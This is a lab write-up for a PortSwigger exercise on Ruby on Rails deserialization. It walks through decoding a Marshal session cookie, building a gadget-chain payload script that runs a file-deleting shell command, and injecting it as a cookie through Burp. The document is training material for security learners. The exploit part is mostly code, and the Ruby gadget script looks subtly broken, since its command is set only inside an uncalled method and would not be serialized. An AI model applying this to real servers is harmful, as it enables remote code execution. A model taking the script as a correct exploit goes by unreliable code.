PortSwigger

Lab Description
This lab uses a serialization-based session mechanism and the Ruby on Rails framework. There are documented exploits that enable remote code execution via a gadget chain in this framework.
Objective: Find a documented exploit and adapt it to create a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the
morale.txtfile from Carlos’s home directory.
- Your credentials:
wiener:peter
Step 1: Understanding the Vulnerability
Ruby deserialization with gadget chains:
- The application uses Ruby’s
Marshalserialization for session cookies - Ruby on Rails (and default gems) contain classes that can be chained together
- A universal gadget chain exists for Ruby 2.x-3.x (discovered by vakzz)
- This gadget chain allows arbitrary command execution during deserialization
The attack:
- Adapt the documented gadget chain script to execute
rm /home/carlos/morale.txt - Generate a malicious
Marshalpayload - Base64 encode the payload
- Replace the session cookie with the malicious payload
- The server deserializes it → RCE → file deleted
Step 2: Reconnaissance
Step 2.1: Log In
- Log in with
wiener:peter - Capture a request containing the session cookie

Step 2.2: Analyze the Session Cookie
The session cookie is a Base64-encoded marshaled Ruby object.
Decode it to confirm:
echo "BAhvOglVc2VyBzoOQHVzZXJuYW1lSSILd2llbmVyBjoGRUY6EkBhY2Nlc3NfdG9rZW5JIiViY3Y0Zmx5aXdrNmk5cm9ycm9zcnBhcTI2Y3d4MTh1bwY7B0YK" | base64 -d | xxd

You’ll see the Ruby serialized object header: \x04\bo: (Ruby Marshal format).
Step 3: Obtaining the Gadget Chain Script
Step 3.1: Find the Universal Gadget
Search for “Universal Deserialisation Gadget for Ruby 2.x-3.x by vakzz” on devcraft.io.
Step 3.2: The Complete Payload Script
Based on the research by vakzz and PortSwigger’s solution, here’s the adapted script:
require 'base64'
class Gem::StubSpecification
def initialize; end
def data
@data = "puts 'Hello from deserialization'"
@loaded_from = "|ruby -e 'system(\"rm /home/carlos/morale.txt\")'"
end
end
class Gem::Dependency
def initialize
@name = Gem::StubSpecification.new
end
def name
@name
end
end
class Gem::Requirement
def initialize
@requirements = [[Gem::Dependency.new]]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts Base64.strict_encode64(payload)
Step 4: Running the Script
Step 4.1: Save and Execute
Save the script as payload.rb and run:
ruby payload.rb
Step 4.2: Expected Output
The script outputs a Base64-encoded string, for example:
BAhbC2kACg==... (truncated)

Copy this entire Base64 string.
Step 5: Injecting the Payload
Step 5.1: Replace the Session Cookie
In Burp Repeater:
- Find the
sessioncookie in your request - Replace its value with the Base64 output from the script
Step 5.2: URL Encode the Cookie
Important: The cookie must be URL-encoded before sending.
In Burp Repeater:
- Select the entire cookie value
- Right-click → Convert selection → URL → URL-encode all characters
Or manually: + becomes %2B, / becomes %2F, = becomes %3D.
Step 5.3: Send the Request
Send any request (e.g., GET /my-account) with the malicious cookie.